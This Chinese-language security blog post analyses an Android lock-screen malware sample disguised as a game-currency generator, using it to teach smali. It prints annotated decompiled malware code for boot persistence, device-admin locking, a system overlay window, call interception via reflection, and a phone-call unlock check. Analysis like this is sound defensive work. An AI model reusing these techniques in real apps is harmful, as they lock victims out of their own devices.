从Android锁屏病毒探讨smali语法

2019-04-08 +6 59366人围观 ,发现 2 个不明物体 其他

引言

本次分析的样本是一款比较简单的android锁屏病毒,通过设备管理器来进行锁屏功能,并利用开机广播和服务的结合实现开机锁屏,解锁方式通过电话拨入,对资源文件进行解密出字符串和来电电话进行匹配的方式进行解锁。我们主要是从者一款比较简单的病毒中熟悉一下smali语法。

文件简介

App应用名称: 红包强盗(后台版)md5: F3ADAADC7A8CB0D16A1AD05AADC8B1F2包名: com.cjk。

详细分析

第一步,直接先上模拟器,看看大概是个什么毒。从截图看出它想申请设备管理员权限,然后就弹出锁屏界面,一枚锁品病毒:

看看apk包内的文件,在res\raw目录下发现四个可疑文本文件,内容是Cj09QU80TVRuCj1rRE0xY3puMllqTTVuVE0=这些有可能是加密过的字符串,还在res\drawable目录下,发现下面这个qq二维码,也没什么so文件,也不会加固过。

主要从从AndroidManifest.xml文件中看四大组件,一般样本都会将恶意行为放在服务组件,需要重点关注。

<application android:debuggable="false" android:icon="@drawable/icon" android:label="王者荣耀点卷生成器" android:theme="@style/AppTheme">
 <activity android:label="@string/app_name" android:name=".M">
   <intent-filter>
     <action android:name="android.intent.action.MAIN" />
     <category android:name="android.intent.category.LAUNCHER" />
   </intent-filter>
 </activity>
 <service android:name="s" />
 <receiver android:name="bbb">
   <intent-filter android:priority="2147483647">
     <action android:name="android.intent.action.BOOT_COMPLETED" />
   </intent-filter>
 </receiver>
 <receiver android:description="@string/hello" android:name=".MyAdmin">
   <meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
   <intent-filter>
     <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
   </intent-filter>
 </receiver>
</application>

1)s服务根据服务生命周期表可以知道,针对两种不同方式启动的服务,调用的方法是不同的,因为下面onbind方法并没有任何操作,如果要开启这个服务只会走startService方法,所以我们顺着onCreate->onStartCommand来看。

//onBind方法,参数为Intent类实例化的对象
.method public onBind(Intent)IBinder
          //onBind方法方法中用到了6个寄存器
          .registers 6
           //注解,就是java中的@Override
          .annotation runtime Override
          .end annotation
// 将参数p0(this)赋值给变量v0
00000000  move-object         v0, p0
//将参数p1(传入的Intent类型参数)赋值给变量v1
00000002  move-object         v1, p1
00000004  const/4             v3, 0
//检查v3是否可以转化成IBinder类
00000006  check-cast          v3, IBinder
0000000A  move-object         v0, v3
//返回一个null对象
0000000C  return-object       v0
.end method

在看oncreate之前,在他的构造方法中,可以看见有几个敏感的数据,QQ号暱称,并且将这串字符串进行静态方法MD5Util->getMD5String的处理,下面主要看看这个处理过程。

.method public constructor <init>()V
          .registers 5
00000000  move-object         v0, p0
00000002  move-object         v2, v0
//直接调用Service的构造方法super(),(这种调用不存在被覆盖,编译时静态确认)
00000004  invoke-direct       Service-><init>()V, v2
0000000A  move-object         v2, v0
0000000C  const-string        v3, "by:彼岸花 qq:127****738"
//将v3的字符串存放在v2中,并且v2=s->bahk:String(this.bahk)
00000010  iput-object         v3, v2, s->bahk:String
//使用this清空v2,v3
00000014  move-object         v2, v0
00000016  move-object         v3, v0
//获取s->bahk:String的值放入v3,然后让s->bahk:String指向v3
00000018  iget-object         v3, v3, s->bahk:String
//调用静态方法(不需要对象,所以少一个参数),看名称应该是获取md5字符串
0000001C  invoke-static       MD5Util->getMD5String(String)String, v3
00000022  move-result-object  v3
//最后让经过处理的字符串v3放入this.Lycorisradiata
00000024  iput-object         v3, v2, s->Lycorisradiata:String
00000028  return-void
.end method

处理函数getMD5String,它将字符串by:彼岸花 qq:127****738,先进行了md5摘要计算,得到一个第一次加密过的字节数组,然后在new一个长度是其2倍的char型数组,接着第一次加密过的字节数组的每一个字节经过2次加密,生成不同的字符,填入到new出来的char型数组中,最终将其转化成字符串返回。

.method public static final getMD5String(String)String
          .registers 19
//静态方法,没有引用对象,所以p0=参数String
00000000  move-object/from16  v0, p0
//v12 = char[16] 创建16长度的char型数组,将其赋给v12
00000004  const/16            v12, 0x0010
00000008  new-array           v12, v12, [C
//将EC指向的2字节长度的char数据填入数组
0000000C  fill-array-data     v12, :EC
//v2 = char[16] ,v12=this,将数组赋给v2,用this清空v12
00000012  move-object         v2, v12  # v2 = charArray1 =  new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
00000014  move-object         v12, v0
:16
//v12.getBytes()将字符串转化成字节数组,调用虚方法,也就是v12是被引用的对象
//然后使用MD5信息摘要算法对这个字节数组进行计算,将hash值在00000040地址赋给v12
00000016  invoke-virtual      String->getBytes()[B, v12
0000001C  move-result-object  v12
0000001E  move-object         v3, v12
00000020  const-string        v12, "MD5"
00000024  invoke-static       MessageDigest->getInstance(String)MessageDigest, v12
0000002A  move-result-object  v12
//因为v12(信息摘要对象)在00000032  位置做被引用的参数对象,所以将其赋给v4来接收update方法更改后的摘要对象
0000002C  move-object         v4, v12
0000002E  move-object         v12, v4
00000030  move-object         v13, v3
00000032  invoke-virtual      MessageDigest->update([B)V, v12, v13
00000038  move-object         v12, v4
0000003A  invoke-virtual      MessageDigest->digest()[B, v12
00000040  move-result-object  v12
00000042  move-object         v5, v12  # v5 = md5ByteArray 字节数组类型的信息摘要
00000044  move-object         v12, v5
//带有信息摘要的字节数组长度赋给v12,然后将这个长度乘以2,利用这个长度再实例化一个char型数组给v7
00000046  array-length        v12, v12
00000048  move                v6, v12
0000004A  move                v12, v6  # v6 = len_of_md5ByteArray
0000004C  const/4             v13, 2
0000004E  mul-int/lit8        v12, v12, 2
00000052  new-array           v12, v12, [C
00000056  move-object         v7, v12  # v7 = charArray2 = new char[2 * len_of_md5ByteArray]
00000058  const/4             v12, 0
0000005A  move                v8, v12  # v8 = 0
0000005C  const/4             v12, 0
0000005E  move                v9, v12
:60
//v12=v9=0,v13=v6=md5字节数组的长度
//如果v12<v13跳转到:84,紧跟着下面有个goto :60跳转回来,构成了一个for循环
00000060  move                v12, v9
00000062  move                v13, v6
00000064  if-lt               v12, v13, :84  # for(int v9=0; v9<v6; v9++)
:68
00000068  new-instance        v12, String  # v12 = v17 = new String()
0000006C  move-object/from16  v17, v12
00000070  move-object/from16  v12, v17
00000074  move-object/from16  v13, v17
00000078  move-object         v14, v7
0000007A  invoke-direct       String-><init>([C)V, v13, v14  # v12 = v13 = new String(charArray2)
00000080  move-object         v0, v12
:82
00000082  return-object       v0
:84
00000084  move-object         v12, v5
00000086  move                v13, v9
00000088  aget-byte           v12, v12, v13
0000008C  move                v10, v12  # v10 =  md5ByteArray[v9]
0000008E  move-object         v12, v7  # v12 = v7 = charArray2
00000090  move                v13, v8  # v13 = v8
00000092  add-int/lit8        v8, v8, 1  # ++v8
00000096  move-object         v14, v2  # v2 = charArray1
00000098  move                v15, v10
0000009A  const/16            v16, 4
0000009E  ushr-int/lit8       v15, v15, 4
000000A2  const/16            v16, 15
000000A6  and-int/lit8        v15, v15, 15
000000AA  aget-char           v14, v14, v15
000000AE  aput-char           v14, v12, v13  # charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15]
000000B2  move-object         v12, v7
000000B4  move                v13, v8  # v13 = v8
000000B6  add-int/lit8        v8, v8, 1  # ++v8
000000BA  move-object         v14, v2
000000BC  move                v15, v10
000000BE  const/16            v16, 15
000000C2  and-int/lit8        v15, v15, 15
000000C6  aget-char           v14, v14, v15
000000CA  aput-char           v14, v12, v13  # charArray2[v13] = charArray1[md5ByteArray[v9] & 15]
:CE
000000CE  add-int/lit8        v9, v9, 1
000000D2  goto                :60
 :D
 4
000000D4  move-exception      v12
000000D6  move-object         v3, v12
000000D8  move-object         v12, v3
000000DA  invoke-virtual      Exception->printStackTrace()V, v12
000000E0  const/4             v12, 0
000000E2  check-cast          v12, String
000000E6  move-object         v0, v12
000000E8  goto                :82
          .catch Exception {:16 .. :CE} :D
 4
:EC
000000EC  .array-data 2 x 0x10
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
          .end array-data
.end method

这里将注释集合起来,大概是这样的加密过程,这里主要是大致预览加密逻辑。

charArray1 =  new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}
string = "by:彼岸花 qq:1279525738";
byte[] v3 = string.getBytes();
MessageDigest v4 = MessageDigest.getInstance("MD5");
v4.update(v3);
byte[] v5 = md5ByteArray = v4.digest() //字节数组类型的信息摘要
v6 = md5ByteArray.length()
v7 = charArray2 = new char[2 * v6]
for(int v9=0; v9<v6; v9++){

    v10 =  md5ByteArray[v9]
    v12 = v7 = charArray2
    v13 = v8
    ++v8
    v2 = charArray1
    //对单个字节的第一次加密
    v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] >> 4 & 15]
    v13 = v8
    ++v8
    //对单个字节的第二次加密
    v7[v13] = charArray2[v13] = charArray1[md5ByteArray[v9] & 15]
}
v12 = new String(charArray2)
return v12

然后接着分析s服务的oncreate方法,先打印日志并通过Intent使用广播发送出去,让包名为com.aide.ui的接收,这里动态注册了一个监听接收短信、电话状态的广播,如果有电话拨进来,会将来电电话号码和经过字符串处理的hm资源文件里的字符串进行比较,如果相等就结束前台呼叫、移除newone布局,设置铃声静音,停止服务s(很明显是解锁方法),如果不相等则会拦截下这条广播。然后又用bah.java8e6762e8737463a957dc390bff4eb8e8两个字符串生成对应的DES加密、解密对象,还有实例化一个by:彼岸花 qq:1279525738.xml存储文件的编辑器对象,但是都没有后面的操作,最后执行了重复手机震动操作,每过0.1s震动1.5s。

.method public onCreate()V
          .registers 15
          .annotation system Signature
              value = {
                  "()V"
              }
          .end annotation
          .annotation runtime Override
          .end annotation
00000000  move-object         v0, p0  # v0 = this
00000002  move-object         v7, v0
00000004  const-string        v8, "com.aide.ui"
00000008  invoke-static       ADRTLogCatReader->onContext(Context, String)V, v7, v8  # ADRTLogCatReader.onContext(this, "com.aide.ui")
0000000E  move-object         v7, v0
00000010  invoke-super        Service->onCreate()V, v7  # this.Service.onCreate()
00000016  move-object         v7, v0
00000018  new-instance        v8, s$IncomingCallReceiver  # 实例化一个IncomingCallReceiver对象
0000001C  move-object         v13, v8
0000001E  move-object         v8, v13
00000020  move-object         v9, v13
00000022  move-object         v10, v0
00000024  invoke-direct       s$IncomingCallReceiver-><init>(s)V, v9, v10  # 调用incomingCallReceiver的构造方法进行初始化: new IncomingCallReceiver(this)
0000002A  iput-object         v8, v7, s->mReceiver:s$IncomingCallReceiver  # this.mReceiver = incomingCallReceiver
0000002E  new-instance        v7, IntentFilter
00000032  move-object         v13, v7
00000034  move-object         v7, v13
00000036  move-object         v8, v13
00000038  invoke-direct       IntentFilter-><init>()V, v8  # IntentFilter intentfilter = new IntentFilter()
0000003E  move-object         v2, v7
00000040  move-object         v7, v2
00000042  const-string        v8, "android.intent.action.PHONE_STATE"
00000046  invoke-virtual      IntentFilter->addAction(String)V, v7, v8
0000004C  move-object         v7, v2
0000004E  const-string        v8, "android.provider.Telephony.SMS_RECEIVED"
00000052  invoke-virtual      IntentFilter->addAction(String)V, v7, v8
00000058  move-object         v7, v0
0000005A  move-object         v8, v0
0000005C  iget-object         v8, v8, s->mReceiver:s$IncomingCallReceiver
00000060  move-object         v9, v2
00000062  invoke-virtual      s->registerReceiver(BroadcastReceiver, IntentFilter)Intent, v7, v8, v9  # this.registerReceiver(this.mReceiver, intentfilter)
00000068  move-result-object  v7
0000006A  move-object         v7, v0
0000006C  move-object         v8, v0
0000006E  const-string        v9, "audio"
00000072  invoke-virtual      s->getSystemService(String)Object, v8, v9
00000078  move-result-object  v8
0000007A  check-cast          v8, AudioManager
0000007E  iput-object         v8, v7, s->mAudioManager:AudioManager  # this.mAudioManager = this.getSystemService("audio")
00000082  move-object         v7, v0
00000084  const-string        v8, "phone"
00000088  invoke-virtual      s->getSystemService(String)Object, v7, v8
0000008E  move-result-object  v7
00000090  check-cast          v7, TelephonyManager
00000094  move-object         v3, v7
:96
00000096  const-string        v7, "android.telephony.TelephonyManager"
0000009A  invoke-static       Class->forName(String)Class, v7
:A0
000000A0  move-result-object  v7
:A2
000000A2  const-string        v8, "getITelephony"
000000A6  const/4             v9, 0
000000A8  check-cast          v9, [Class
000000AC  invoke-virtual      Class->getDeclaredMethod(String, [Class)Method, v7, v8, v9  # Method v4 = Class.forName("android.telephony.TelephonyManager").getDeclaredMethod("getITelephony", 0)
000000B2  move-result-object  v7
000000B4  move-object         v4, v7
000000B6  move-object         v7, v4
000000B8  const/4             v8, 1
000000BA  invoke-virtual      Method->setAccessible(Z)V, v7, v8  # v4.setAccessible(1)关闭安全检查
000000C0  move-object         v7, v0
000000C2  move-object         v8, v4
000000C4  move-object         v9, v3
000000C6  const/4             v10, 0
000000C8  check-cast          v10, [Object
000000CC  invoke-virtual      Method->invoke(Object, [Object)Object, v8, v9, v10  # v4.invoke(telephoneManager, 0)
000000D2  move-result-object  v8
000000D4  check-cast          v8, ITelephony
000000D8  iput-object         v8, v7, s->iTelephony:ITelephony  # this.iTelephony = v4.invoke(telephoneManager, 0)
 :D
 C
000000DC  move-object         v7, v0
000000DE  new-instance        v8, DU
000000E2  move-object         v13, v8
000000E4  move-object         v8, v13
000000E6  move-object         v9, v13
000000E8  const-string        v10, "bah.java"
000000EC  invoke-direct       DU-><init>(String)V, v9, v10
000000F2  iput-object         v8, v7, s->des:DU  # s.des = new DU("bah.java")
000000F6  move-object         v7, v0
:F8
000000F8  new-instance        v8, DU
000000FC  move-object         v13, v8
000000FE  move-object         v8, v13
00000100  move-object         v9, v13
00000102  move-object         v10, v0
00000104  iget-object         v10, v10, s->des:DU
00000108  const-string        v11, "8e6762e8737463a957dc390bff4eb8e8"
0000010C  invoke-virtual      DU->decrypt(String)String, v10, v11
00000112  move-result-object  v10
00000114  invoke-direct       DU-><init>(String)V, v9, v10
0000011A  iput-object         v8, v7, s->des:DU  # s.des = new DU(s.des.decrypt("8e6762e8737463a957dc390bff4eb8e8"))
:11E
0000011E  move-object         v7, v0
00000120  move-object         v8, v0
00000122  move-object         v9, v0
00000124  iget-object         v9, v9, s->bahk:String
00000128  const/4             v10, 0
0000012A  invoke-virtual      s->getSharedPreferences(String, I)SharedPreferences, v8, v9, v10
00000130  move-result-object  v8
00000132  iput-object         v8, v7, s->share:SharedPreferences  # this.share = this.getSharedPreferences("by:彼岸花 qq:1279525738", 0)
00000136  move-object         v7, v0
00000138  move-object         v8, v0
0000013A  iget-object         v8, v8, s->share:SharedPreferences
0000013E  invoke-interface    SharedPreferences->edit()SharedPreferences$Editor, v8
00000144  move-result-object  v8
00000146  iput-object         v8, v7, s->editor:SharedPreferences$Editor  # this.editor = this.share.edit()
0000014A  move-object         v7, v0
0000014C  invoke-virtual      s->getApplication()Application, v7
00000152  move-result-object  v7
00000154  const-string        v8, "vibrator"
00000158  invoke-virtual      Application->getSystemService(String)Object, v7, v8  # this.getApplication().getSystemService("vibrator")
0000015E  move-result-object  v7
00000160  check-cast          v7, Vibrator
00000164  move-object         v4, v7
00000166  move-object         v7, v4
00000168  const/4             v8, 4
0000016A  new-array           v8, v8, [J  # long[] longArray = new long[4]
0000016E  move-object         v13, v8
00000170  move-object         v8, v13
00000172  move-object         v9, v13
00000174  const/4             v10, 0
00000176  const/16            v11, 100  # (long)100
0000017A  int-to-long         v11, v11
0000017C  aput-wide           v11, v9, v10  # longArray[0] = (long)100
00000180  move-object         v13, v8
00000182  move-object         v8, v13
00000184  move-object         v9, v13
00000186  const/4             v10, 1
00000188  const/16            v11, 1500
0000018C  int-to-long         v11, v11
0000018E  aput-wide           v11, v9, v10
00000192  move-object         v13, v8
00000194  move-object         v8, v13
00000196  move-object         v9, v13
00000198  const/4             v10, 2
0000019A  const/16            v11, 100
0000019E  int-to-long         v11, v11
000001A0  aput-wide           v11, v9, v10
000001A4  move-object         v13, v8
000001A6  move-object         v8, v13
000001A8  move-object         v9, v13
000001AA  const/4             v10, 3
000001AC  const/16            v11, 1500
000001B0  int-to-long         v11, v11
000001B2  aput-wide           v11, v9, v10  # longArray = new long[]{(long)100, (long)1500, (long)100, (long)1500}
000001B6  const/4             v9, 0
000001B8  invoke-virtual      Vibrator->vibrate([J, I)V, v7, v8, v9  # this.getApplication().getSystemService("vibrator").vibrate(longArray, 0)
000001BE  return-void
:1C0
000001C0  move-exception      v7
000001C2  move-object         v5, v7
:1C4
000001C4  new-instance        v7, NoClassDefFoundError
000001C8  move-object         v13, v7
000001CA  move-object         v7, v13
000001CC  move-object         v8, v13
000001CE  move-object         v9, v5
000001D0  invoke-virtual      Throwable->getMessage()String, v9
000001D6  move-result-object  v9
000001D8  invoke-direct       NoClassDefFoundError-><init>(String)V, v8, v9
000001DE  throw               v7
:1E0
000001E0  move-exception      v7
000001E2  move-object         v4, v7
000001E4  goto/16             :D
 C
:1E8
000001E8  move-exception      v7
000001EA  move-object         v4, v7
000001EC  goto                :11E
          .catch ClassNotFoundException {:96 .. :A0} :1C0
          .catch Exception {:96 .. :A0} :1E0
          .catch Exception {:A2 .. :D
 C} :1E0
          .catch Exception {:F8 .. :11E} :1E8
          .catch Exception {:1C4 .. :1E0} :1E01
.end method

ADRTLogCatReader.onContext方法调用onContext静态方法,检查本引用是否可以调试,如果不可以则该方法返回为空,如果可以调试,先初始化ADRTSender的一些静态属性,然后开启一个线程,执行logcat -v threadtime打印日志,然后每次读取20个字符,并且每次读取一行,将其作为数据参数放入intent里,通过广播发送出去,指定接收包名是"com.aide.ui",action是"com.adrt.LOGCAT_ENTRIES"。

.method public static onContext(Context, String)V
          .registers 12
00000000  move-object         v0, p0
00000002  move-object         v1, p1
00000004  sget-object         v5, ADRTLogCatReader->context:Context  # v5 = ADRTLogCatReader.context
00000008  if-eqz              v5, :E  # if ADRTLogCatReader.context == null{return null;}这个方法onContext只能调用一次
:C
0000000C  return-void
:E
0000000E  move-object         v5, v0
00000010  invoke-virtual      Context->getApplicationContext()Context, v5
00000016  move-result-object  v5
00000018  sput-object         v5, ADRTLogCatReader->context:Context  # ADRTLogCatReader.context =  this.getApplicationContext()
0000001C  const/4             v5, 0
0000001E  move-object         v6, v0
00000020  invoke-virtual      Context->getApplicationInfo()ApplicationInfo, v6
00000026  move-result-object  v6
00000028  iget                v6, v6, ApplicationInfo->flags:I
0000002C  const/4             v7, 2
0000002E  and-int/lit8        v6, v6, 2
00000032  if-eq               v5, v6, :42  # if(this.ApplicationInfo.flag & 2 == 0){return null;}检查应用是否允许调试
:36
00000036  const/4             v5, 1
:38
00000038  move                v2, v5
0000003A  move                v5, v2
0000003C  if-nez              v5, :46
:40
00000040  goto                :C
:42
00000042  const/4             v5, 0
00000044  goto                :38
:46
00000046  move-object         v5, v0
:48
00000048  invoke-virtual      Context->getPackageManager()PackageManager, v5
0000004E  move-result-object  v5
00000050  move-object         v3, v5
00000052  move-object         v5, v3
00000054  move-object         v6, v1
00000056  const/16            v7, 0x0080
0000005A  invoke-virtual      PackageManager->getPackageInfo(String, I)PackageInfo, v5, v6, v7  # this.getPackageManager().getPackageInfo("com.aide.ui", 0x0080)
# 这里获取"com.aide.ui"包应用的META信息,但是后面没有再调用了这个的数据
:60
00000060  move-result-object  v5
00000062  move-object         v4, v5
00000064  sget-object         v5, ADRTLogCatReader->context:Context
00000068  move-object         v6, v1
0000006A  invoke-static       ADRTSender->onContext(Context, String)V, v5, v6  # ADRTSender.onContext(ADRTLogCatReader.context, "com.aide.ui")
00000070  new-instance        v5, Thread  # Thread thread;
00000074  move-object         v9, v5
00000076  move-object         v5, v9
00000078  move-object         v6, v9
0000007A  new-instance        v7, ADRTLogCatReader  # ADRTLogCatReader aDRTLogCatReader;
0000007E  move-object         v9, v7
00000080  move-object         v7, v9
00000082  move-object         v8, v9
00000084  invoke-direct       ADRTLogCatReader-><init>()V, v8  # aDRTLogCatReader = new ADRTLogCatReader()
0000008A  const-string        v8, "LogCat"
0000008E  invoke-direct       Thread-><init>(Runnable, String)V, v6, v7, v8  # thread(aDRTLogCatReader, "LogCat")
00000094  move-object         v3, v5
00000096  move-object         v5, v3
00000098  invoke-virtual      Thread->start()V, v5  # thread(aDRTLogCatReader, "LogCat").start()
0000009E  goto                :C
:A0
000000A0  move-exception      v5
000000A2  move-object         v3, v5
000000A4  goto                :C
          .catch PackageManager$NameNotFoundException {:48 .. :60} :A0
.end method

.method public run()V
          .registers 11
00000000  move-object         v0, p0
:2
00000002  invoke-static       Runtime->getRuntime()Runtime
00000008  move-result-object  v4
0000000A  const-string        v5, "logcat -v threadtime"
0000000E  invoke-virtual      Runtime->exec(String)Process, v4, v5  # Process pc = Runtime.getRuntime().exec("logcat -v threadtime")
00000014  move-result-object  v4
00000016  move-object         v1, v4
00000018  new-instance        v4, BufferedReader  # BufferedReader br;
0000001C  move-object         v9, v4
0000001E  move-object         v4, v9
00000020  move-object         v5, v9
00000022  new-instance        v6, InputStreamReader  # InputStreamReader is;
00000026  move-object         v9, v6
00000028  move-object         v6, v9
0000002A  move-object         v7, v9
0000002C  move-object         v8, v1
0000002E  invoke-virtual      Process->getInputStream()InputStream, v8  # pc.getInputStream()
00000034  move-result-object  v8
00000036  invoke-direct       InputStreamReader-><init>(InputStream)V, v7, v8  # is = new InputStreamReader(pc.getInputStream)
0000003C  const/16            v7, 20
00000040  invoke-direct       BufferedReader-><init>(Reader, I)V, v5, v6, v7  # br = new BufferedReader(new InputStreamReader(pc.getInputStream), 20)
00000046  move-object         v2, v4
00000048  const-string        v4, ""
0000004C  move-object         v3, v4
:4E
0000004E  move-object         v4, v2
00000050  invoke-virtual      BufferedReader->readLine()String, v4  # br.readLine()
00000056  move-result-object  v4
00000058  move-object         v9, v4
0000005A  move-object         v4, v9
0000005C  move-object         v5, v9
0000005E  move-object         v3, v5
00000060  if-eqz              v4, :80
:64
00000064  const/4             v4, 1
00000066  new-array           v4, v4, [String  # String[] st = new String[1];
0000006A  move-object         v9, v4
0000006C  move-object         v4, v9
0000006E  move-object         v5, v9
00000070  const/4             v6, 0
00000072  move-object         v7, v3
00000074  aput-object         v7, v5, v6  # st[0] = br.readLine()
00000078  invoke-static       ADRTSender->sendLogcatLines([String)V, v4  # ADRTSender.sendLogcatLines(st)
:7E
0000007E  goto                :4E
:80
00000080  return-void
:82
00000082  move-exception      v4
00000084  move-object         v1, v4
00000086  goto                :80
          .catch IOException {:2 .. :7E} :82
.end method

接着分析:onstart方法(android-15之后就被onStartCommand代替了)主要执行了方法c,主要是将处理好的字符串附加到layout/newone.xml文件内的几个TextView控件上。

0000000C  invoke-super        Service->onStart(Intent, I)V, v4, v5, v6  # this.super(v1, v2)
00000012  move-object         v4, v0
00000014  invoke-direct       s->c()V, v4  # this.c()
.method private c()V
          .registers 21
          .annotation system Signature
              value = {
                  "()V"
              }
          .end annotation
00000000  move-object/from16  v1, p0
00000004  move-object         v15, v1
00000006  new-instance        v16, WindowManager$LayoutParams
0000000A  move-object/from16  v19, v16
0000000E  move-object/from16  v16, v19
00000012  move-object/from16  v17, v19
00000016  invoke-direct/range WindowManager$LayoutParams-><init>()V, v17 .. v17
0000001C  move-object/from16  v0, v16
00000020  iput-object         v0, v15, s->wmParams:WindowManager$LayoutParams  # this.wmParams = new WindowManager$LayoutParams()
00000024  move-object         v15, v1
00000026  move-object/from16  v16, v1
0000002A  invoke-virtual/range s->getApplication()Application, v16 .. v16
00000030  move-result-object  v16
00000032  move-object/from16  v17, v1
00000036  invoke-virtual/range s->getApplication()Application, v17 .. v17
0000003C  move-result-object  v17
0000003E  sget-object         v17, Context->WINDOW_SERVICE:String
00000042  invoke-virtual/range Application->getSystemService(String)Object, v16 .. v17
00000048  move-result-object  v16
0000004A  check-cast          v16, WindowManager
0000004E  move-object/from16  v0, v16
00000052  iput-object         v0, v15, s->mWindowManager:WindowManager  # mWindowManager = this.getApplication().getsystemService(CONTEXT.WINDOW_SERVICE)
00000056  move-object         v15, v1
00000058  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams  # this.wmParams
0000005C  const/16            v16, 2010
00000060  move/from16         v0, v16
00000064  iput                v0, v15, WindowManager$LayoutParams->type:I  # this.wmParams.type = 2010
00000068  move-object         v15, v1
0000006A  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams
0000006E  const/16            v16, 1
00000072  move/from16         v0, v16
00000076  iput                v0, v15, WindowManager$LayoutParams->format:I  # this.wmParams.format = 1
0000007A  move-object         v15, v1
0000007C  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams
00000080  const/16            v16, 0x0500
00000084  move/from16         v0, v16
00000088  iput                v0, v15, WindowManager$LayoutParams->flags:I  # this.wmParams.flags = 0x0500
0000008C  move-object         v15, v1
0000008E  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams
00000092  const/16            v16, 49
00000096  move/from16         v0, v16
0000009A  iput                v0, v15, WindowManager$LayoutParams->gravity:I  # this.wmParams.gravity = 49
0000009E  move-object         v15, v1
000000A0  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams
000000A4  const/16            v16, 0
000000A8  move/from16         v0, v16
000000AC  iput                v0, v15, WindowManager$LayoutParams->x:I  # this.wmParams.x = 0
000000B0  move-object         v15, v1
000000B2  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams
000000B6  const/16            v16, 0
000000BA  move/from16         v0, v16
000000BE  iput                v0, v15, WindowManager$LayoutParams->y:I  # this.wmParams.y = 0
000000C2  move-object         v15, v1
000000C4  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams
000000C8  const/16            v16, -0x0001
000000CC  move/from16         v0, v16
000000D0  iput                v0, v15, ViewGroup$LayoutParams->width:I  # this.wmParams.width=0x0001
000000D4  move-object         v15, v1
000000D6  iget-object         v15, v15, s->wmParams:WindowManager$LayoutParams
000000DA  const/16            v16, -0x0001
000000DE  move/from16         v0, v16
000000E2  iput                v0, v15, ViewGroup$LayoutParams->height:I  # this.wmParams.height = -0x0001
000000E6  move-object         v15, v1
000000E8  invoke-virtual      s->getApplication()Application, v15
000000EE  move-result-object  v15
000000F0  invoke-static       LayoutInflater->from(Context)LayoutInflater, v15
000000F6  move-result-object  v15
000000F8  move-object         v3, v15
000000FA  move-object         v15, v1
000000FC  move-object/from16  v16, v3
00000100  const               v17, 0x7F030001
00000106  const/16            v18, 0
0000010A  check-cast          v18, ViewGroup
0000010E  invoke-virtual/range LayoutInflater->inflate(I, ViewGroup)View, v16 .. v18
00000114  move-result-object  v16
00000116  move-object/from16  v0, v16
0000011A  iput-object         v0, v15, s->mFloatLayout:View  # this.mFloatLayout = LayoutInflater.from(this.getApplication).inflate(0x7F030001, 0)
0000011E  move-object         v15, v1
00000120  iget-object         v15, v15, s->mWindowManager:WindowManager
00000124  move-object/from16  v16, v1
00000128  move-object/from16  v0, v16
0000012C  iget-object         v0, v0, s->mFloatLayout:View
00000130  move-object/from16  v16, v0
00000134  move-object/from16  v17, v1
00000138  move-object/from16  v0, v17
0000013C  iget-object         v0, v0, s->wmParams:WindowManager$LayoutParams
00000140  move-object/from16  v17, v0
00000144  invoke-interface/range WindowManager->addView(View, ViewGroup$LayoutParams)V, v15 .. v17  # this.mWindowManager.addView(this.mFloatLayout, this.wmParams)
0000014A  move-object         v15, v1
0000014C  move-object/from16  v16, v1
00000150  move-object/from16  v0, v16
00000154  iget-object         v0, v0, s->mFloatLayout:View
00000158  move-object/from16  v16, v0
0000015C  const/high16        v17, 0x7F0A0000
00000160  invoke-virtual/range View->findViewById(I)View, v16 .. v17
00000166  move-result-object  v16
00000168  check-cast          v16, TextView
0000016C  move-object/from16  v0, v16
00000170  iput-object         v0, v15, s->wb:TextView  # this.wb = mFloatLayout.findViewById(0x7F0A0000)
00000174  move-object         v15, v1
00000176  move-object/from16  v16, v1
0000017A  move-object/from16  v0, v16
0000017E  iget-object         v0, v0, s->mFloatLayout:View
00000182  move-object/from16  v16, v0
00000186  const               v17, 0x7F0A0001
0000018C  invoke-virtual/range View->findViewById(I)View, v16 .. v17
00000192  move-result-object  v16
00000194  check-cast          v16, TextView
00000198  move-object/from16  v0, v16
0000019C  iput-object         v0, v15, s->bah:TextView
000001A0  move-object         v15, v1
000001A2  move-object/from16  v16, v1
000001A6  move-object/from16  v0, v16
000001AA  iget-object         v0, v0, s->mFloatLayout:View
000001AE  move-object/from16  v16, v0
000001B2  const               v17, 0x7F0A0002
000001B8  invoke-virtual/range View->findViewById(I)View, v16 .. v17
000001BE  move-result-object  v16
000001C0  check-cast          v16, TextView
000001C4  move-object/from16  v0, v16
000001C8  iput-object         v0, v15, s->cjk:TextView
000001CC  move-object         v15, v1
000001CE  move-object/from16  v16, v1
000001D2  move-object/from16  v0, v16
000001D6  iget-object         v0, v0, s->mFloatLayout:View
000001DA  move-object/from16  v16, v0
000001DE  const               v17, 0x7F0A0003
000001E4  invoke-virtual/range View->findViewById(I)View, v16 .. v17
000001EA  move-result-object  v16
000001EC  check-cast          v16, TextView
000001F0  move-object/from16  v0, v16
000001F4  iput-object         v0, v15, s->tv:TextView
:1F8
000001F8  new-instance        v15, StringBuffer
000001FC  move-object/from16  v19, v15
00000200  move-object/from16  v15, v19
00000204  move-object/from16  v16, v19
00000208  invoke-direct/range StringBuffer-><init>()V, v16 .. v16  # stringbuffer = new StringBuffer()
0000020E  move-object/from16  v16, v1
00000212  move-object/from16  v0, v16
00000216  iget-object         v0, v0, s->Lycorisradiata:String  # this.Lycorisradiata
0000021A  move-object/from16  v16, v0
0000021E  invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16  # stringbuffer.append(this.Lycorisradiata)
00000224  move-result-object  v15
